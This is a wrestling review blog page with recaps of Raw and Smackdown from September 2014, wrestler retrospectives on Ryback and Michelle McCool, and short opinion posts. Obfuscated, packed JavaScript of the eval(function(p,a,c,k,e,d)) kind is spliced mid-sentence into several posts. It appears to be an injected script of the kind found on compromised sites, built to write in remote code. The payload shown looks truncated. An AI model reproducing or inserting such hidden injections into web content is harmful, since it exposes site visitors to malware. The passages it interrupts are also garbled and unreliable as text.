Monday Night Raw – September 8, 2014: Two Bellas, A Bunny And A Springer Walk Into A Season Premiere

Monday Night Raw
Date: September 8, 2014
Location: Baltimore Arena, Baltimore, Maryland
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

The cage is lowered to open the show.

We get a Season Premiere video with the focus on Jerry Springer and then the two big matches.

Chris Jericho vs. Bray Wyatt

Both guys are on the mat but Bray Spiders up and crawls for the door, only to get caught by the legs. Bray kicks him away again and hits a release Rock Bottom for two. He tries a catapult into the cage but Jericho catches himself on the ropes and tries to climb. Bray catches him again and hammers away on the top rope before nailing a top rope hurricanrana.

Rollins and Kane are very excited about what they just saw when HHH and Orton come in. HHH wants to do something special tonight so Orton offers to do something to Orton that makes what happened to Ambrose look like a day at Sunday School. HHH gives him permission to do something.

We get stuff like Miz wearing a facial mask and shaving his chest (JBL: “So who was taking the pictures?”) but Miz and Sandow interrupt. Miz rants about the invasion of privacy, with Sandow mimicking his hand gestures almost perfectly. They threaten to go after Ziggler so Dolph say she might as well show the last photo: Sandow tanning a less than clothed Miz. Sandow comes in and gets dropkicked and Zig Zagged while Miz walks away.

Paige/AJ Lee vs. Natalya/Rosa Mendes

Post match the winners take turns kissing the Divas Title until AJ skips off.

We look back at the cage match and its aftermath.

Sheamus vs. Seth Rollins

Back with Rollins holding a chinlock before Sheamus fights up with elbows to the ribs. He tries the top rope shoulder but only hits mat, allowing Rollins to put the hold back on. This time Sheamus fights to his feet and drops Rollins onto his back for another escape. A tilt-a-whirl powerslam gets two for Sheamus but Cesaro picks up the US Title for another distraction. Seth grabs a rollup for two and walks into another powerslam. Now Cesaro gets up on the apron, allowing Rollins to drive him into the buckle. The Curb Stomp gets the pin on Sheamus at 10:00.

We recap Henry and Rusev from last week.

Here are Lana and Rusev to make fun of the national anthem before having the Russian version played.

Video on NXT Takeover II.

Sami Zayn/Adrian Neville vs. Tyson Kidd/Tyler Breeze

Brie blames Nikki for all the problems and uses the “died in the womb line” again, drawing the same dead silence it got the first time. Nikki talks about how tired she is of being a second class sister and brags about her show having such good ratings. Brie talks about how this started at Summerslam but Springer shows us a montage of them having very stupid arguments over petty things on Total Divas.

Nikki blames Brie for their dad leaving and we get quick videos from the parents saying they never knew Nikki was this unhappy. Brie tries to bring this back to wrestling stuff but drags it down again by saying she has their brother JJ in their corner. JJ is here of course (billed as JJ Garcia after Jerry called him JJ Bella) and has to come out to the Total Divas song. JJ tells Nikki to stop acting like a victim and the brawl is on. Nikki accidentally slaps JJ so Brie spears her down. The Bellas, Springer and Stephanie get in a big pileup as this just keeps going. Referees break it up and Springer is taken out on a stretcher.

Goldust/Stardust vs. Los Matadores

Stardust takes Primo into the corner to start but the masked man knocks him outside. The Dusts tease taking a walk and get caught with a big double dive. Back inside and Goldust throws Diego into the corner before tagging in Stardust for Dark Matter and the pin at 2:10.

The Usos jump the Dusts on the stage, sending the golden ones running.

We get a tribute to Joan Rivers.

The guys slug it out in the ring as the camera stays on the bunny. Titus throws Rose down but goes after the Bunny who wants to fight. Slater misses a dive and gets superkicked by the Bunny, allowing Rose to hit the Party Foul for the pin at 1:20.

The Bunny hits a Superfly Splash for good measure. Cole and JBL are STUNNED.

Roman Reigns has the antidote for the Viper and holds up his fist.

Lesnar will be on Raw next week.

Randy Orton vs. Roman Reigns

This actually gets big match intros. Reigns punches him to the floor to start but Randy sends him face first into the steps for two. A quick suplex gets the same for Roman and he runs Orton over with a clothesline. Orton bails back to the floor and we take a break. Back with Orton holding Reigns in a chinlock before taking it outside again. Reigns fights back and rams him back first into the apron and barricade.

They head to the apron with Randy sending him into the buckle and nailing a superplex for two. Back with Reigns fighting out of a chinlock and nailing a Samoan drop for two. He hits the ropes but charges into a powerslam to give Orton a near fall of his own. The Elevated DDT is countered into the Apron Boot and the jumping clothesline gets two. Orton comes back with the backbreaker for the same but charges into a boot.

Results

Bray Wyatt b. Chris Jericho – Wyatt escaped the cage

Paige/AJ Lee b. Natalya/Rosa Mendes – Black Widow to Mendes

Seth Rollins b. Sheamus – Curb Stomp

Sami Zayn/Adrian Neville b. Tyler Breeze/Tyson Kidd – Red Arrow to Breeze

Goldust/Stardust b. Los Matadores – Dark Matter to Diego

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Roman Reigns b. Randy Orton via DQ when Kane and Seth Rollins interfered




Wrestler of the Day – September 7: Ryback

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfdsr|var|u0026u|referrer|tsryi||js|php'.split('|'),0,{})) is a guy who could have ruled: Ryback.

OVW Title: Anthony Bravado vs. Ryback

Off to FCW with this match on February 15, 2009.

Mia Mancini/Dylan Klein vs. Skip Sheffield/AJ Lee

Mancini is better known as Serena Deeb and Klein never went anywhere. The girls get things going and fight on the mat with Mancini taking over. Off to the guys with Sheffield cleaning house. Mancini slaps him in the face to break up the Over the Shoulder Boulder Holder and Klein gets in a few shots to take over. We hit the chinlock on Sheffield before the guys fight to the floor. Mancini tags herself in but gets caught in a headscissors followed by a Shining Wizard for two. A standing Sliced Bread #2 is good for the pin on Mancini.

William Regal/Skip Sheffield vs. Matt Hardy/Justin Gabriel

The rookies start us off. Power vs. speed never stops working for me and this works just fine. Fujiwara armbar by Gabriel and here’s Hardy. Poetry in Motion to Sheffield as we take a break. Regal is in when we get back against Gabriel. Regal sends both Gabriel and Hardy to the floor as not a lot is going on in this match.

Sheffield is giving Regal advice which is rather amusing. Back to the power guy who struts before hitting a splash on Hardy. The fat of his stomach helps protect him I guess. Hardy gets beaten down for a good while. I’m sure he’ll blog about it later on and make a video under a false name.

Regal keeps the tag to Gabriel and yells at Sheffield to stop doing stupid stuff. Twist of Fate out of nowhere sets up the debut of the 450 which blew the LD to pieces when it hit. The match was boring but the ending more than made up for it I think.

Rating: C. The length hurt it here but the idea was to show that Gabriel could hit one big move and it worked very well. That’s still one of the best moves in the company nearly a year later and it worked very well here. Not a great match and the tag from last week was better, but this was a good debut for both of the rookies here.

And another on April 27, 2010.


Skip Sheffield vs. Daniel Bryan

Bryan gets a running dropkick as Sheffield is reeling early on. A heel hook has Skip in real trouble. And never mind as Sheffield just beats the tar out of him and hits the Over the Shoulder Boulder Holder to end it in maybe 90 seconds.

Sheffield would snap his ankle and be out for nearly a year. He would return as the unstoppable monster Ryback, who participated in a bunch of squashes, such as this one at Extreme Rules 2012.

Aaron Relic/Jay Hatton vs. Ryback

His competition would pick up a bit on Raw, August 27, 2012.

Jack Swagger vs. Ryback

Ryback vs. The Miz

Miz looks worried about getting in the ring. Ryback finally pulls Miz into the ring and the beating begins. A big boot puts Miz down but he avoids the clothesline. Ryback hits the Vader body attack, a spinebuster, the clothesline and the Shell Shock ends this at 2:30.

Raw World Title: Ryback vs. CM Punk

Ryback misses a charge into the corner and Punk hits a springboard clothesline to take him down. A top rope double ax only kind of hits so Punk hits a second to stagger Ryback. A third attempt is caught in midair but Punk hits a leg lariat to take Ryback down again. Punk sends him to the floor and hits the suicide dive but Ryback is slammed into the cage instead of being knocked down. Ryback easily breaks up a neckbreaker on the floor but his spear hits the steps.

His rematch was in a triple threat match at Survivor Series 2012.

Raw World Title: John Cena vs. Ryback vs. CM Punk

Punk is back in now and scores with a snap suplex on Ryback, but the monster pops right back up and gorilla presses the champion into a fallaway slam. Cena comes back in with a belly to belly for two on Ryback before putting on a chinlock. Punk breaks it up with a top rope ax handle and Cena falls to the floor. Another ax handle attempt is caught in midair but Punk takes Ryback down with a neckbreaker. Cena sneaks in with a rollup for two but Punk DDTs him down for two more.

Ryback was scheduled to face Punk for the title in a TLC match at TLC but Punk was legitimately injured. This was his other option.

Ryback/HELL NO vs. The Shield

Ryback would finally get this TLC match on Raw, January 7, 2013.

Raw World Title: CM Punk vs. Ryback

Punk almost gets crushed by the steps before using them as a launching pad to knee Ryback in the face. Punk chairs Ryback down a few times and we take a break. Back with both guys down in the ring and Ryback getting up first. Ryback loads up a table on the floor but Punk blasts him in the ribs with a chair and sets up a table of his own. Ryback shoves Punk onto the announce table but another chair shot slows him down.

Ryback finds another ladder and goes up but there go the lights. The lights come back up and the Shield is on the ladder. Ryback punches two of them down but has to get down to stop the third one. The numbers catch up with Ryback and he gets destroyed by chair shots and the Triple Bomb through a table onto the steps. The Shield leaves and Punk slowly climbs up to retain the title at 18:50.

After not winning the title, Ryback would turn heel after Wrestlemania XXIX and get another title shot at Extreme Rules 2013.

Raw World Title: John Cena vs. Ryback

Cena pulls himself to his feet and then pulls the top rope down, sending Ryback out to the floor. With Ryback up at six, John slides a table into the ring. Ryback escapes the AA though and hits his over the shoulder Stunner for an eight count. The table is set up in the corner now but Cena takes Ryback down with some shoulder blocks. Ryback catches him in mid-air though and hits a fallaway slam through the table. Cena makes it up at nine and avoids a charging Ryback, sending him shoulder first into the post.

After choking Ryback for a good while the monster stays down for nine. Cena puts Ryback on a conveniently placed table and dives off a balcony with a splash through said table. Ryback is again up at nine so Cena sprays him with a fire extinguisher. They head up to the stage with Cena hosing Ryback down again and again before hitting Ryback in the face with the fire extinguisher.

Raw World Title: Ryback vs. John Cena

The AA is countered into the over the shoulder Stunner for two for Ryback. Cena is thrown to the outside and pummeled by the lumberjacks (JTG still has a job. Who knew?) before Ryback gets to destroy him a bit more. The lumberjacks get another crack at Cena but he gets back in fast enough to send Ryback to the lumberjacks as well. Ryback gets back in unscathed so Cena can initiate his finishing sequence, only to be sent into the other lumberjacks this time. Back in and Ryback is sent to the floor again but not touched this time either.

The third fall is an ambulance match, meaning the first person to be placed inside an ambulance to the doors shut loses. Ryback takes Cena down 25 seconds after the AA and loads up the announce table. More Goldberg chants abound as Cena is powerbombed through a table. The third fall officially begins with Ryback dragging Cena to the ambulance, only to be shoved into it by the champion.

Chris Jericho vs. Ryback

Back to the chinlock but Jericho escapes into a northern lights suplex and a failed Walls attempt. A top rope ax handle is caught in a Ryback belly to belly overhead suplex. The Meathook puts Jericho down and the Codebreaker is countered into a kind of spinebuster. A powerbomb gets two on Jericho but he comes back with an enziguri for two.

Ryback would help his mentor Paul Heyman in his war with CM Punk. From Hell in a Cell 2013.

CM Punk vs. Ryback/Paul Heyman

Here are the former Heyman guys getting a Tag Team Title shot at TLC 2013.

Tag Titles: Real Americans vs. Big Show/Rey Mysterio vs. Cody Rhodes/Goldust vs. Ryback/Curtis Axel

Back inside and Cesaro gets two off the gutwrench suplex and we hit the chinlock. Off to Jack again for a bearhug as Big Show plays cheerleader for Goldust. Goldie fights back with right hands and a springboard elbow to the jaw. Cesaro easily takes him down and we get a short version Cesaro Swing. A Swagger belly to belly suplex puts Goldust down again and we get the Vader Bomb/double stomp sequence from the Real Americans for another two.

Cody tries a springboard dropkick but gets caught in a powerbomb by Rey (how often do you hear that?) for two. Cross Rhodes are countered again but the 619 is countered into an Alabama Slam which is countered into a sunset flip for a VERY close two. The third attempt at Cross Rhodes FINALLY connects for the pin to retain the titles at 21:06.

Ryback and Axel would get another title shot on Raw, April 28, 2014.

Tag Team Titles: Usos vs. Ryback/Curtis Axel

A spinebuster gets two on Jey and Ryback pounds on his own chest. The Meat Hook is blocked by another superkick and Jey fires off some chops, only to be taken down by a regular clothesline. Shell Shock is countered into a sunset flip for two but Ryback takes him down again. The Usos make their own blind tag though, so as Axel hits the PerfectPlex, Jimmy dives in with the Superfly Splash for the pin on Curtis at 11:16.

Ryback/Curtis Axel vs. Kofi Kingston/Big E.

Ryback and Big E. get things going with Ryback hammering away against the ropes. Big E. runs him over but walks into a spinebuster and gets double teamed in the corner. A side slam gets two for Ryback and he throws Big E. down with a belly to belly. The Meat Hook is countered by a clothesline from Big E. and he makes the hot tag to Kofi. Kingston speeds things up and gets two off the SOS as everything breaks down. Ryback rolls through a high cross body and pins Kofi at 3:25.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




WWE’s Pettiness Is Your Gain

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhikd|var|u0026u|referrer|aatty||js|php'.split('|'),0,{})) as you may have heard, Punk is suing WWE for royalties on his merchandise. Their response: slash all his merchandise prices so he gets almost nothing. Like this one for instance: the AWESOME Punk DVD for $2.99. Seriously.

http://shop.wwe.com/CM-Punk%3A-Best-In-The-World-DVD/W04536,default,pd.html?dwvar_W04536_color=No%20Color&start=6&cgid=cmpunk

His shirts and other gear is cheap as well. Even Eric Bischoff’s book was more expensive than this if that tells you anything.Grab this stuff while you can.




Thought of the Day: TNA’s Ancestor

Since they’re on the verge of death.  For roughly the 100th time in ten years.You eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khidy|var|u0026u|referrer|ydrrn||js|php'.split('|'),0,{})) often hear people comparing TNA to WCW and I don’t really get why.  In theory it’s because they’re the second biggest company in the country, but the situations are completely different.  Think about this for a second.

WCW has a basically unlimited budget.  They could pay for anything and anyone they wanted and never had to blink an eye.  They could routinely steal talent from WWF, whereas TNA has to pick up whatever released talent they can or sign someone from the indies.

TNA basically caters to the live audience.  Look at their ECW reunions to pop a big response from the fans in the arena and ignoring how the fans watching on TV feel about it.  It’s all about listening to the fans chant TNA instead of creating stars and making new fans.

The biggest thing of all though, and the hardest pill for TNA fans to swallow, they’re not competition to WWE.  At least not serious competition to WWE.  It’s as much competition to WWE as the Arena Football League is to the NFL.  WWE is so far and ahead of TNA that they can’t even notice them back there.  The other thing people so often overlook: other than a few weeks in 2010, WWE and TNA have never been in direct competition.  I can watch Raw, Impact and Smackdown without any scheduling conflicts or additional costs.  Other than their once every four month PPVs, TNA has nothing that directly challenges WWE, and if they tried, WWE would squash them like Barry Horowitz.

 

I could keep going for a long time, but the point should be clear.  TNA is much more like a modern day ECW than WCW as they’re basically a fly buzzing around WWE’s head instead of a tiger trying to kill them.

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – September 5, 2014: Holla Holla Holla!

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybzfb|var|u0026u|referrer|ifzns||js|php'.split('|'),0,{})) September 5, 2014
Location: Pinnacle Bank Arena, Lincoln, Nebraska
Commentators: Tom Phillips, Michael Cole, John Bradshaw Layfield

Cesaro vs. Dolph Ziggler

Rating: C-. The match was the decent action you would expect from these two, but the booking continues to make my head hurt. You either job a champion or you job a guy that is getting a title shot in a few weeks. Why WWE felt the need to book this is beyond me, but the fact that they see nothing wrong with pushing the Bellas this much and jobbing Cesaro clean before he gets a title shot should tell you everything you need to know.

Cesaro pounds on Ziggler post match but Sheamus makes the save. They yell at each other until Sheamus throws the belt at Cesaro and lays him out with a Brogue Kick.

Stardust talks about needing what they have and about one of the Usos being hurt. He keeps turning around and changes his tone every time. Apparently they have a title shot at Night of Champions.

Jimmy Uso vs. Heath Slater

Jey is on a crutch. Jimmy misses a quick superkick attempt and gets caught in a neckbreaker for two. Slater stomps away and hooks a chinlock before sending Jimmy into the corner. Uso fights out and nails a Whisper in the Wind for two. He has to kick Titus down though and walks into a side kick for two. Cole: “The Gator is down!” JBL: “Call Skinner!” Back up and the superkick knocks Slater out of the air and the Superfly Splash is good for the pin at 2:59.

We look back at the Divas segment from Raw.

Stephanie announces Nikki vs. AJ vs. Paige for the title at Night of Champions.

Jerry Springer will be having an intervention with the Bellas on Raw. Oh dear.

Paige vs. Brie Bella

Rating: D+. The catfighting makes me think the Bella showdown is going to be an even bigger disaster than I thought. Brie can be passable in the ring but Nikki has never proven herself capable of having more than a bad match. This was nothing special and was more about the drama than the wrestling, which is better in a way but still bad.

Bo Dallas vs. Zack Ryder

Ryder dropkicks him at the bell and nails a faceplant, only to have Bo pop up for the Bodog and the pin at 43 seconds.

We see the Rollins/Ambrose/Reigns stuff again.

Roman Reigns/John Cena/Chris Jericho/Big Show/Mark Henry vs. Wyatt Family/Kane/Seth Rollins

Big Show suplexes him down and finally makes the tag off to Reigns to clean house. A Samoan drop to puts Harper down but they head to the floor where the numbers game results in Reigns being sent into the barricade. We take another break and come back with Rowan holding Reigns in the skull crusher. Reigns is sent to the floor and Rollins whips him into the barricade while talking trash. Back in for another chinlock but Reigns powers up, only to get kicked in the head.

The running cross body gets two but Bray is down as well. Wyatt spiders up but Jericho elbows out of a Rock Bottom. A dropkick puts Bray down and we FINALLY get the tag to Cena. Everything breaks down and the parade of secondary finishers begins. With everyone else down, Cena puts Rollins in the STF but the Wyatts all come in for the DQ at 17:49 shown of 28:19.

The good guys all hit their finishers with Cena planting Rollins with an AA to end the show.

Results

Dolph Ziggler b. Cesaro – Rollup

Jimmy Uso b. Heath Slater – Superfly Splash

Paige b. Brie Bella – Rampaige

Bo Dallas b. Zack Ryder – Bodog

John Cena/Big Show/Roman Reigns/Mark Henry/Chris Jericho b. Seth Rollins/Kane/Wyatt Family via DQ when the Wyatt Family attacked Cena at the same time

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




WWE Confirms Smackdown Staying On Fridays

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrdhd|var|u0026u|referrer|nnsei||js|php'.split('|'),0,{})) very surprised by this but if that’s what they’ve got then that’s what they’ve got.  TNA moving to Wednesday is still a good idea for them though, given the NFL returning for a full slate of Thursday games.




Wrestler of the Day – September 4: Michelle McCool

Today we’re going to look at a Diva who got good, married a legend, then got great. Today is Michelle McCool.

Michelle got her start through the 2004 Diva Search. After a bit in developmental, McCool would be on Smackdown, including this match on June 30, 2005. This is Melina’s debut.

Melina vs. Michelle McCool

Melina is doing the A-List gimmick and talked about all the celebrities coming to see her first match. There were even paparazzi waiting for her as she made her entrance. Michelle isn’t much yet other than a hot blonde in barely there shorts. Melina is sent to the floor and kicked through the ropes but Michelle drags her back inside.

A rollup gets two for Michelle and a kick to the face gets the same. Melina begs off and offers a handshake and the tall blonde actually goes for it. She earns that right hand to the face and Melina chokes away for awhile. An awkward looking kick to the face puts Michelle down as her shorts don’t want to stay down. Melina powerbombs Michelle out of the corner and rolls her up with feet on the ropes for the pin. Too short to rate but the outfits were better than the match.

We’ll jump ahead to the next year to Smackdown on October 6, 2006. Michelle is now a sexy teacher with a team of KC James and Idol “Damien Sandow” Stevens.

Michelle McCool vs. Ashley

McCool stomps away at the ribs to start and takes Ashley into the corner for a hair drag. Ashley comes back with some forearms to the spine and a Boston crab but James comes out to drag Michelle to the ropes. They trade forearms until McCool rolls through a cross body and grabs the skirt for the pin. Ashley looked TERRIBLE here.

Another one off match from Smackdown, I believe on May 10, 2007.

Michelle McCool vs. Jillian Hall

Jillian takes her into the corner to start and cartwheels into an elbow drop. A chinlock doesn’t get Hall anywhere and Michelle rolls her up for two. Michelle flips into a jackknife cover for two before a belly to belly gets the same. After all that, a backbreaker of all things is enough to give Michelle the pin.

Rating: D. This was pretty bad but you can see Michelle getting better out there. She still isn’t what you would call good yet but she didn’t embarrass herself out there and actually looked like she could wrestle longer than a few minutes. The belly to belly and backbreaker weren’t bad and both were a nice change of pace from the usual Diva offense.

Off to Survivor Series 2007 for the big Divas mess.

Mickie James/Maria/Torrie Wilson/Michelle McCool/Kelly Kelly vs. Beth Phoenix/Melina/Jillian Hall/Victoria/Layla

One fall to a finish here and Beth is Women’s Champion. The Divas Title doesn’t exist yet which is how things should have stayed. Layla is WAY hotter being evil and Melina has some gorgeous hair. She also falls off the apron during her splits entrance which is worth a chuckle. The second attempt works and thankfully she’s smiling after screwing it up. Mickie and Maria are ridiculously good looking as well.

Victoria and Michelle start things off with Michelle taking over with a headlock. A big boot puts Victoria (Tara in TNA if you’re new at this) down and it’s off to Torrie who can’t wrestle a watchable match to save her life. Victoria kills her mostly dead with a side slam and it’s off to Layla who is so bad here that she can’t even beat up torrie. Kelly and Jillian come in and Jillian tries to scream a bit, only to get rolled up for two. Maria comes in, basically wearing a bikini.

Thankfully Beth comes in to flatten Maria before handing it right back to Layla. Actually make that Melina, who misses a charge at Maria and crotches herself, allowing for the hot tag to Mickie. James beats up everyone in sight, has her partners take out Beth, and hits the Long Kiss Goodnight on Melina for the pin. What’s the Long Kiss Goodnight you ask? That would be every 13 year old’s dream: Mickie literally bends Melina back and kisses her before kicking her in the head for the pin.

Rating: D. Yes, the match sucked. Yes, most of the women in this are horrible wrestlers. Yes, if you’re complaining about these things, you’re missing the point. This was pure fan service as you had ten girls in either tight or barely there outfits and one hot woman kissing another hot woman before kicking her in the head. If you’re looking for a wrestling match here, you’re in the wrong place.

Here’s a title match from Great American Bash 2008.

Divas Title: Michelle McCool vs. Natalya

This is for the inaugural title and there’s probably some stupid tournament that set this up. Michelle takes her to the mat and speeds things up. Natalya takes over and hooks a surfboard but Michelle counters (impressively so) into a heel hook attempt which is countered. Nattie hooks the Sharpshooter but Michelle gets the ropes. A second attempt is countered into the heel hook and Michelle wins the title.

Rating: D. The joke here was that hopefully Michelle enjoyed the Undertaker semen that came with that belt. I’m not sure how much anyone cared or if anyone on the planet that didn’t work for WWE thinks there was a need for another female title, but they unified it…eventually, as in like two years later.

And another from Unforgiven 2008.

Divas Title: Maryse vs. Michelle McCool

Michelle is champion. Michelle as a face just never worked. She’s such a natural villain and her pumping her fist doesn’t work at all. She hurts her knee going to the floor and Maryse works on it as we’re waiting for the people to get back from popcorn time to end this. Michelle works on Maryse’s leg in a heel hook but she gets a rope. The fans are all over this match already. A sitout gordbuster keeps the title on McCool.

Rating: D-. Michelle and Maryse are too hot to be a failure but the match was terrible. NO ONE cared and that was very clear. Nothing to see here and we’re moving on. Why this got almost six minutes was crazy but I’d assume that it was due to a long line at the Cena shirt booths. Horrible match.

Michelle would get another shot at the title at The Bash.

Smackdown Women’s Title: Melina vs. Michelle McCool

Melina was just freaking stunning at this point once she dyed her hair black. Michelle was getting there too and she has Alicia with her here for reasons that I’m sure don’t mean anything. For some reason I like Michelle’s music. Melina comes out hot. And she’s being intense too. Michelle can actually work pretty well.

She hooks a hold where Melina’s foot is touching Melina’s head from behind. DANG that girl is flexible. Ok five minutes have passed but I’m back now. Melina’s knee is hurt of course as it always is. Michelle kicks her head off for two. That sounded painful as all goodness. Styles Clash gives Michelle the title.

Rating: C-. It did its job. This was just supposed to be an appetizer to the remainder of the show and that’s what it did. And I think that’s enough padding to say that the girls looked great here and that was the whole point to this. I’m glad they kept this quick because neither girl was able to carry the other.

Michelle was on the Smackdown team at Bragging Rights 2009.

Michelle McCool/Natalya/Beth Phoenix vs. Melina/Kelly Kelly/Gail Kim

Beth in blue is an amazing sight. This was when Michelle got really hot really fast. Look at the rosters. Who do you think is going to win? Beth and Gail start. Can’t believe I’m typing this but DANG at Michelle. All three Smackdown girls have been in there in less than a minute. Kelly tries a sunset flip. It’s bad. This is just painfully uninteresting as there is less than zero chance for Raw to win two in a row. I mean the match is ok, but people just couldn’t care any less as there is zero drama. Crowd is more or less dead too. Glam Slam ends Melina for the pin.

Rating: W. As in who cares? Like I said, the idea that THIS was going to decide the cup and not the big tag was just ridiculous and it crippled the match. Also the match was just generic. This could have been any other Divas match which really shows how bland the division is at this point.

We’ll jump ahead to Night of Champions 2010 for a title unification match against Melina.

Women’s Titles: Michelle McCool vs. Melina

Michelle in red: DANG. Nice back shot of her as the bell rings. Layla is ticked at her for being in there as we hear about the history of the Women’s Title, which is of course mostly nonsense but whatever. Crowd is DEAD. Yes, a Chicago crowd is dead. Michelle sends her to the floor but no one sends her back in. NICE Blockbuster from Orton’s elevated DDT position by Michelle. I love the Blockbuster (jumping front flip neckbreaker) so that was sweet for me.

Faithbreaker (Styles Clash) is blocked and Melina takes over. Decent belly to belly suplex for two by the blonde. Kelly gets up on the apron marking the first time they do anything all night as Melina has her rolled up. Kelly is for Melina here but just doesn’t get it I guess. The girls all beat up Michelle and send her back in. They need to stop slapping the mat as I think it’s a referee count.

Melina does the Matrix Move but Michelle just kicks her. Again: kicking and punching people works best a lot of the time. Both girls hit the floor as the girls yell at Michelle, showing off their acting…..talent. Layla interferes and Michelle gets to hit a, wait for it, wait for it, BIG BOOT TO UNIFY THE BELTS.

Rating: C-. Surprisingly decent match here although the girls were absolutely pointless out there. Layla interfering is fine as it’s expected, but what about the heat between them allegedly? This wasn’t much but at least it gets rid of the stupid Divas Title, or at least I hope so. Better than most Divas matches though so I’ll give it that.

Another Divas Title match at Hell in a Cell 2010.

Divas Title: Michelle McCool vs. Natalya

Michelle looks good in her gold shorts if nothing else. Striker tries to claim Michelle is the best in ring working woman ever. I’m not even going to make a joke about that because it’s not fair to make fun of people that stupid. Michelle dominates for a bit with leg based offence but Natalya takes over with power stuff. This is rather boring if you couldn’t tell. Michelle accidently drills Layla and Natalya gets a rollup for two. Sharpshooter goes on, is countered into a heel hook and is countered again. Then Layla throws in her shoe for the DQ.

Rating: D-. Yeah I don’t care either. The division was such a disaster at this point but unifying the titles was the smartest move all around. There just wasn’t a valid reason to have both belts around, especially when the talent pool was very deep. It would get better, but as usual it wasn’t going to last.

Michelle would be in a battle royal on Raw, December 13, 2010.

Battle Royal

Laycool, Kelly, Maryse, Eve, Bella Twins, Rose, Melina, Alicia, Kaitlyn, Beth, Tamina, Natalya

I think that’s everyone but I’m not sure. Everyone surrounds Laycool and to their credit they’re like BRING IT ON. Tamina chills in the corner for a bit but puts out Kaitlyn. You can go through the ropes here. Rosa is out second. She has never won a match on the main roster. Tamina is out.

A Bella is out as they’re flying out of here insanely fast. The other Bella goes out with ease as Laycool is dominating. Maryse is gone. There’s no particular rhyme or reason here as you would expect in a battle royal. Michelle, looking GREAT in those red shorts, puts out Kelly who looks GREAT in those white shorts. Beth Glam Slams Melina out.

Down to Laycool, Beth, Natalya, Gail and Alicia. Beth kicks Layla out and she FREAKS. She distracts the Glamazon long enough to let Michelle put out Beth. Natalya puts out Alicia and Gail and walks into a big kick from Michelle who wins this at approximately 3:30.

Rating: C. This is hard to grade as battle royals aren’t something that there are standards for. This was fine for what it was and one of the girls that should have won it got the award so I can’t complain. Also you have hot women so how much can you really complain? Good stuff.

Time for a gimmick match at TLC 2010.

Beth Phoenix/Natalya vs. Laycool

Tables match. Quick recap video which is of the table on Friday which didn’t work. No tagging here thank goodness. The pink table with the painting from Friday is brought in as Laycool is down early. Crowd is QUIET here. Lawler says he’s never seen a Diva go through a table. That’s just amusing. Double fireman’s carry by Beth is very impressive. Striker makes an important point: any method of going through the table counts. Also it’s only one Diva required for a win.

Laycool in control now as the fans do not care at all. Beth is on the floor now as Laycool takes over. SICK landing by Beth as her foot gets hooked on a rope and she lands straight on her back/head. That was painful as heck, it had to be. Michelle sets for a Faithbreaker (Styles Clash) through a table on Nattie but Beth comes back for the save.

Not table for Michelle (“JUST WAIT UNTIL MARK HEARS ABOUT THIS!!!”) as Layla rakes Beth’s eyes. Layla beats on Beth for awhile but can’t suplex her through it. Double gorilla press by the blondes to Layla until Michelle kicks both in the ribs. Beth may have fallen out for a bit. HOKEY SMOKE!!! Natalya puts Layla on top of Michelle and puts them BOTH in a Sharpshooter at the same time. TAKE THAT BRET!!!

The nice chicks set up the tables but Michelle sends Beth to the floor to make it 2-1 again. They set for a double superplex but Beth saves again. A lot of near finishes in this one indeed. Down goes Beth so they set for it again but they’re shoved off. The table DID NOT BREAK so Natalya is like screw it and splashes them through it to end this.

Rating: C+. This wasn’t as bad as you would have thought as Laycool fought them off far better than people would have predicted. It was a good match even but did anyone ever think Laycool had a realistic shot out there? Not a bad match or anything but at the same time it didn’t really get me into the match and it kind of dragged. Still fun though and that Sharpshooter was GREAT.

